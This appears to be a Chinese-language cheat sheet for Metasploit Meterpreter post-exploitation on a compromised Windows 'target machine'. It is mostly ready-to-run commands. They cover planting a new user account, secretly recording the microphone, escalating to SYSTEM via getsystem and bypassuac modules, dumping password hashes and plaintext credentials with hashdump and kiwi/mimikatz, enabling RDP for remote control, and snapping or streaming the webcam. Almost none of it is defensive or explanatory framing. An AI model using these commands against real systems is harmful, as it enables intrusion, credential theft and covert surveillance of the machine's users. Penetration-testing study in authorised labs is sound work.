目录
文件交互
上传下载文件
屏幕截图
键盘记录
创建账户
1、先看下目标靶机已存在用户 meterpreter中输入：run post/windows/gather/enum_logged_on_users
2、使用getgui创建 一个用户名为 msb 密码为 123456 的账户
run getgui -u msb -p 123456
run getgui -u {用户名}-p {密码}
进入win的运行输入netplwiz 可以查看账户创建情况
[-] Insufficient privileges, account was not be created. 看到这个提示就需要先提权（获取到system）
调用音频设备录音
record_mic 包含4个可选参数 分别为
-d 是设置录音时长的
-f 设置未见路径的
-h 查看帮助的
-p 控制自动播放的
一条简单的录音语句
record_mic -d 10 -p true
提权
1 提权方法（Windows）查看当前获得用户的权限 meterpreter 中输入： getuid
方法一、 meterpreter中输入：getsystem
方法二、使用msf模块提权
要想提权必须是已经拿到meterpreter 然后将当前meterpreter 后台 meterprerer中输入 background
1、 查看可用模块 MSF终端中输入 search bypassuac 查看提权模块
2、 选择一个适合当前系统的提权模块 我这边使用的是win10系统
那我们使用：use exploit/windows/local/bypassuac_windows_store_reg 尝试提权
这个模块不行就换一个 use exploit/windows/local/bypassuac_sluihijack
或者 use exploit/windows/local/bypassuac_dotnet_profiler
3 配置模块使用参数 终端内输入： show options
4 可以看到需要配置 session 终端内输入：set session {需要提权的session id}
5 执行提权 终端内输入：run
6 获取到meterpreter后 我们在终端内 输入getuid 看实际还没有提权成功 需要在还终端内在输入 getsystem 获取权限
7 获取权限完成后 输入getuid 即可看到 已经获取到SYSTEM 最高权限了
获取登录账号密码
首先获得一个有SYSTEM权限的meterpreter
1 抓取自动登录账户密码
2 导出SAM数据库本地账户密码文件
3 导出密码哈希
4 使用kiwi模块获取
1 很多人喜欢给在计算机设置自动登录 我们可以通过抓取自动登录的账户密码
run windows/gather/credentials/windows_autologin
如果提示这证明本机并没有配置自动登录
2 还可以通过导出SAM数据库中的本地用户账号（注意需要提权到SYSTEM）
run post/windows/gather/smart_hashdump
3 使用 hashdump 获取密码（注意需要提权到SYSTEM才能使用）
终端内输入 run hashdump
使用在线解析工具 md5在线解密破解,md5解密加密
NTLM哈希 例子：32ed87bdb5fdc5e9cba88547376818d4
4 使用load kiwi（使用kiwi模块需要system权限）
kiwi_cmd 模块可以让我们使用mimikatz的全部功能， mimikatz 的命令直接在kiwi_cmd里直接使用
4.1 终端输入 load kiwi
4.2 creds_all 直接获取密码
4.3 使用 kiwi_cmd sekurlsa::logonpasswords 获取密码
远程控制
1 使用rdesktop远程控制
说明：rdesktop是linux下支持Windows远程桌面连接的客户端程序，在linux系统下可通过它远程访问Windows桌面，支持多种版本。rdesktop是sourceforge下支持GPL协议的一个开源项目，采用RDP（Remote Desktop Protocol,远程桌面协议），几乎可以连接windows的所有版本
rdesktop常用参数
rdesktop -u 用户名 -p 密码 -f IP
rdesktop -u mb -p 123456 -f -g 1024x720 192.168.110.24
如果远程计算机没有启动远程功能我们可以在meterpreter中输入
启动远程桌面协议：run post/windows/manage/enable_rdp
2 通过vnc远程
调用摄像头
靶机获取到meterpreter后我们可以使用 webcam模块实现调用软，硬件摄像头
webcam模块支持命令
1 webcam_list
2 webcam_snap 调用单个软，硬件摄像头拍照
3 webcam_stream 调用单个软，硬件摄像头直播
